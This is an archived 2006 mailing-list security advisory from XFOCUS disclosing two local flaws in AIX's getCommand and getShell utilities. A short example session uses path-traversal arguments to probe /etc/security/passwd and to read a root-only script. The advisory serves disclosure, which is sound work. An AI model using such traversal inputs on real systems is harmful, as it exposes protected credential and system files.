bugtraq - [xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sun, 01 Jan 2006 16:19:35 +0800
From: XFOCUS Security Team <security@...cus.org>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk,
	vulnwatch@...nwatch.org
Subject: [xfocus-SD-060101]AIX getCommand&getShell two
	vulnerabilities

Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

Affected version : aix5.3 ml03,Other versions not test,
                       should also be affected.
Vendor: http://www.ibm.com/
Where: Local

XFOCUS (http://www.xfocus.org) had already discovered
some vulnerabilities in getCommand&getShell.

After apply newest patch,getCommand&getShell still have two
vulnerabilities,That is
1: exploit that,a attacker can determine file be exist or not,which
should can't readed
2: exploit that,a attacker can read in any shell document(include no
permission file) has the cd operation the following partial content.

example test:
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen:  No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x--- 4 root security 512  2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
/tmp/k.sh
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh

ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$

-bash-3.00$

TIME LINE:
December,26 2005 - Initial vendor notification
.....Waiting.....Waiting....
January 1, 2006 - Public disclosure(vendor not reply)

--EOF

-- 

Kind Regards,

---
XFOCUS Security Team
http://www.xfocus.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/